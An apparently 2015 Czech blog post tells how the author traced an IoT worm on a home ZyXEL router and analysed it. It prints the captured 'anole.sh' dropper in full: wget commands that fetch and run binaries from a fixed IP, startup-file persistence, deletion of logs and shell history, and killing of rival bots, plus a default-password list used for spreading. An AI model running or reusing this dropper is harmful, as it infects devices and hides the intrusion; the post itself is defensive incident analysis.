Eida.cz - Nepřítel nad branami

Nepřítel nad branami

Eida

Za devatero branami a jedním špatně nakonfigurovaným firewallem kdesi v Praze žila Lenka. Měla svoje černý oči, široký úsměv, titul z obchodky a psa. Už část svého studentského života trávila jako specialistka na markéting a myslela si, že všechny Markéty, tisk, rádio, televize a taky moderní online média mají nějaký vyloženě analyzovatelný potenciál. Pak ji ale frančíza jednoho operátora poskytujícího její do té doby roztomilou ADSL přípojku nevýslovně vypekla takovým způsobem, že jí jednoho srpnového večera zhruba o půl čtvrté odpoledne konečně ruplo a rozhodla se velmi hrubě zaútočit na obranné systémy HIVE. Možná to bylo jinak.

Na správě hraničních systémů je vždycky nejhorší představa, že dojde k útoku. IDS/IPS jsou sice pěkná věc, ale vůbec nejlepší by bylo, kdyby jich nebylo vůbec třeba. V minulých sychravých dnech a nocích vyústila celá tahle paranoia ve velmi striktní nastavení firewallu a poskytování aplikace pouze našim dětem, protože nějací cizinci vysávající systém jsou nám jednoduše ukradení a musíme proti nim pokaždé razantně a nemilosrdně zakročit. Vyšší level je pak z principu zběsile zahazovat všechny nové pakety, které nezačínají SYNem, všechny poškozené pakety, všechny podezřelé a zdánlivě nesmyslné vánoční stromečky a taky mít nastavení maximálního limitu pro připojení k poštovním službám, které jsou v tuhle chvíli stejně zatím dost experimentální.

Jenže pak se stejně čas od času kdesi v authlogu objeví divoký záznam, že nakonec zkrátka došlo k útoku. K útoku z adresy uvnitř naší vlastní zóny. Tak wtf. Člověk si pak říká, co to koho mohlo vlastně napadnout, nebo co koho mohlo napadnout a zavirovat ho, že teď dělá někomu zombu zdarma. Vždycky to začíná tím, že si někdo lenivě nezabezpečí vlastní budníky a stane se tak snadným prostředníkem cizího útoku, který se pak nekontrolovatelně šíří sítí dál a dál. 

Nedávalo to smysl. Nemilé tušení potvrdil i zpětný sken Lenčiny adresy a několika dalších. Se znepokojivým výsledkem, že se vždy jednalo o koncové domácí brány malých nebo roztříštěných lokálních providerů s veřejnou adresou a ne o běžná velká datová centra, z jakých takový útok nejčastěji probíhá. Společným jmenovatelem taky byly otevřené TCP porty 9000 a 1337, které hádající skripty nmapu nedovedly podle otisků nikam zařadit. Nedávalo to smysl. Může mít Lenka za lubem nějaké zlověstné číhátko, které nad branami zneužívá UPnP a dělá z ní loutku?

Byla doma, možná si dávala zrovna kafe a surfovala se svým firemním notebookem střídavě po seznamce a po stránkách o životním stylu a chatovala si spokojeně na Facebooku. Její ZyXEL seděl na poličce se stabilní 300Mbps wifkou na středním kanále, zabezpečenou standardním WPA2 s PSK o nějakém Cipískovi a vnější ADSL nabízelo relativně stabilní 6M/830k připojení. Tyhle domácí routery její řady mají defaultní schopnost se nechat spravovat jak z webu, tak z konzole přes SSH a telnetu, dokonce se nechají vzdáleně spravovat providerem přes TR-064 a při troše štěstí jim navenek běží i SNMP. Taková věc si o to vyloženě říká, takže proč se nepodívat, v čem je zakopaná ta příčina? Dostat se do toho přes pitomý heslo výrobce nebyla stejně žádná překážka.

Lenka sama vedla celkem pokojný život a nic nenasvědčovalo tomu, že by měla v povaze útočit. Její widle nevykazovaly kromě zvýšeného stahování reklam žádnou mimozemskou aktivitu a už se zdálo, že se všechen výzkum propadne do ztracena, když tu náhle… se její router rapidně prohnul pod návalem pěti stovek SYN_SENT čekajících spojení na zdánlivou sekvenci severoamerických adres pokoušejících se v tomto případě o nemalý telnet. Bylo vidět, že takové množství je vyloženě nežádoucí a není dostatek volných portů, protože než Lenka naštvaně notebook zavřela a odešla ven se psem, sestřelila nefunkční router a nadávala u toho. Po několika minutách ale naběhl znovu a všechno chvíli bylo jak má, dokud… se to nestalo zase, tentokráte ale za její nepřítomnosti a bez jakéhokoliv zařízení ve vnitřní síti. Cuže.

Hledat věci na dosti omezeném busyboxu, i když s rootem, je celkem nepohodlná taškařice. Visící spojení do nikam situaci moc neulehčovaly a naivní pokus zakázat odchozí toky na telnet přes iptables udělal ve finále celou situaci ještě horší. Po několika neúspěšných minutách nastavování velmi přísných pravidel pro celý IPv4 síťový stack došlo konečně k přerušení. Znát DD-WRT moc nestačí, takže nezbylo než se pořádně podívat na všechny procesy, které běžely právě tady. A už se zdálo, že skutečně něco nedává smysl, totiž kolik výrobců by čistého ./ spouštělo něco jako sexmips? Vida, o tomhle nebylo na Googlu ani zmínky. Po sestřelení přešel proces do zombie režimu, ale co je hlavní, všechna zahlcovací spojení umřela spolu s ním. Po dalším ohledání to celé začalo ten hledány smysl dávat.

anole.sh 3.01 KiB
#!/bin/sh
wget http://199.180.128.150/sexmips; chmod +x sexmips; ./sexmips;rm sexmips
wget http://199.180.128.150/sexmipsel; chmod +x sexmipsel; ./sexmipsel;rm sexmipsel
wget http://199.180.128.150/sexarm4; chmod +x sexarm4; ./sexarm4;rm sexarm4
wget http://199.180.128.150/sexarm5; chmod +x sexarm5; ./sexarm5;rm sexarm5
wget http://199.180.128.150/sexarm6; chmod +x sexarm6; ./sexarm6;rm sexarm6
wget http://199.180.128.150/sexppc; chmod +x sexppc; ./sexppc;rm sexppc
wget http://199.180.128.150/sexppc440; chmod +x sexppc440; ./sexppc440;rm sexppc440
wget http://199.180.128.150/sex15; chmod +x sex15; ./sex15;rm sex15

busybox wget -c http://199.180.128.150/sexmips; cp /bin/busybox ./; cat sexmips > busybox; rm sexmips; cp busybox sexmips; rm busybox; ./sexmips
busybox wget -c http://199.180.128.150/sexmipsel; cp /bin/busybox ./; cat sexmipsel > busybox; rm sexmipsel; cp busybox sexmipsel; rm busybox; ./sexmipsel
busybox wget -c http://199.180.128.150/sexarm4; cp /bin/busybox ./; cat sexarm4 > busybox; rm sexarm4; cp busybox sexarm4; rm busybox; ./sexarm4
busybox wget -c http://199.180.128.150/sexarm5; cp /bin/busybox ./; cat sexarm6 > busybox; rm sexarm5; cp busybox sexarm5; rm busybox; ./sexarm5
busybox wget -c http://199.180.128.150/sexarm6; cp /bin/busybox ./; cat sexarm6 > busybox; rm sexarm6; cp busybox sexarm6; rm busybox; ./sexarm6
busybox wget -c http://199.180.128.150/sexppc; cp /bin/busybox ./; cat sexppc > busybox; rm sexppc; cp busybox sexppc; rm busybox; ./sexppc
busybox wget -c http://199.180.128.150/sexppc440; cp /bin/busybox ./; cat sexppc440 > busybox; rm sexppc440; cp busybox sexppc440; rm busybox; ./sexppc440
busybox wget -c http://199.180.128.150/sex15; cp /bin/busybox ./; cat  > busybox; rm sex15; cp busybox sex15; rm busybox; ./sex15


#Secondary Wget For Service
busybox wget http://199.180.128.150/sexmips
busybox wget http://199.180.128.150/sexmipsel
busybox wget http://199.180.128.150/sexppc
busybox wget http://199.180.128.150/sexppc440

#Creating Service
cp sexmips /bin/sexmips
cp sexmipsel /bin/sexmipsel
cp sexppc /bin/sexppc
cp sexppc440 /bin/sexppc440
echo "/bin/sexmips" >> /etc/init.d/rcS
echo "/bin/sexmips" >> /etc/rcS
echo "/bin/sexmipsel" >> /etc/init.d/rcS
echo "/bin/sexmipsel" >> /etc/rcS
echo "/bin/sexppc" >> /etc/init.d/rcS
echo "/bin/sexppc" >> /etc/rcS
echo "/bin/sexppc440" >> /etc/init.d/rcS
echo "/bin/sexppc440" >> /etc/rcS
echo "/bin/sexmips" >> /etc/rcS.d/S97service
echo "/bin/sexmips" >> /etc/rcS.d/S97service
echo "/bin/sexppc" >> /etc/rcS.d/S97service
echo "/bin/sexppc440" >> /etc/rcS.d/S97service
chmod +x /etc/rcS.d/S97service
rm -rf sexmips
rm -rf sexmipsel
rm -rf sexppc
rm -rf sexppc440

#Covering Tracks
rm -rf /home/root/.ash_history
rm -rf .ash_history
rm -rf /bin/.ash_history
killall tail-
rm -rf /tmp/tail-
mkdir -p /tmp/tail-
rm -rf /tmp/*
rm -rf /var/run/*
rm -rf anole.sh*
rm -rf mug.sh*

#Killing Other Losers
killall mips
killall arm
killall mipsel
killall sh4
killall ppc
killall 10
killall 11
killall 12
killall 13
killall 14
killall 15
killall 16
killall 17
killall 18
killall 19
Originální downloader prvního červa

Nalezený skript z pevné adresy stahuje nějakou temnou agendu, spouští ji a maže po sobě stopy, ale co je daleko pozoruhodnější, že se jedná ve skutečnosti o masivně multiplatformní útok, který je neuvěřitelně mířen na MIPS, MIPSel, SuperH, amd64, ARM, i686, PowerPC, m68k a SPARC s běžícím Linuxem. Ale exploituje se jen shellshock.

worm1.txt 1023 bajtů
.10: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, not stripped
.11: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, not stripped
.12: ELF 32-bit LSB executable, Renesas SH, version 1 (SYSV), statically linked, not stripped
.13: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped
.14: ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, not stripped
.15: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped
.16: ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (SYSV), statically linked, not stripped
.17: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped
.18: ELF 32-bit MSB executable, Motorola m68k, 68020, version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, not stripped
.19: ELF 32-bit MSB executable, SPARC, version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, not stripped
Architektury prvního červa

Podle časových razítek to ale nebyla jediná čihošť, která se tam tak samovolně vytvořila. V dalším setu pro možnost zapisování do běžícího systému zaujal skrytý cíl .xs, možná snad jako xzs, jak minji říkal, kde kromě daleko větších binárek pro ARM, i686, MIPS a MIPSel ležely taky dva texťáky login2 a list2.

worm2.txt 426 bajtů
.xs/daemon.armv4l.mod: ELF 32-bit LSB executable, ARM, version 1, statically linked, stripped
.xs/daemon.i686.mod:   ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, stripped
.xs/daemon.mips.mod:   ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
.xs/daemon.mipsel.mod: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
Architektury druhého červa

K velkému překvapení list2 obsahoval sekvenčně generovaný CSV seznam IP adres a cílových portů a login2 tu byl jakýmsi slovníkem pro root:root, admin:admin, ubnt:ubnt. A v tom to přišlo. Ono se to samo replikuje takhle pitomým způsobem? Po vyzkoušení hesla admin na účet admin už nebylo nejmenších pochyb. Možná se právě v tuhle chvíli stáváme svědky největšího útoku získávajícího kontrolu nad branami všech možných platforem (dokud je na nich Linux nebo možná i jen podpora pro ELF) a dosvědčuje to poněkud nejasná statistika posledních portů v síti Turris, kde TCP 9000 doslova vyskakuje nad strop a nabízí znepokojující zjištění, že tisíce domácích a malofiremních bran bylo napadeno čímsi, co po replikaci získalo využitím běžných chyb rootovská práva.

Projekt Turris - statistika TCP 9000 19. srpen 2015

Jak zlověstně jednoduché to ve svém principu je, stejně zlověstně složité je to zastavit. Přitom by úplně stačilo těch několik tisíc nešťastníků přesvědčit, aby si změnili výchozí přístupová hesla. Jenže to by jim je nesměli nastavovat lhostejní provideři a pracovat na nich takové ty Lenky černooké, co sedávají u Facebooku a je jim osud všeho ostatního vlastně lhostejný. Minimálně jedna pozitivní zpráva z toho ale přece jen vyplývá, a to, že SSH samo o sobě je zatím stále v pořádku. Jen je dveře do něj potřeba pořádně zavírat. 

Tento článek přečetlo již 502 čtenářů (0 dnes).

Komentáře

Nový komentář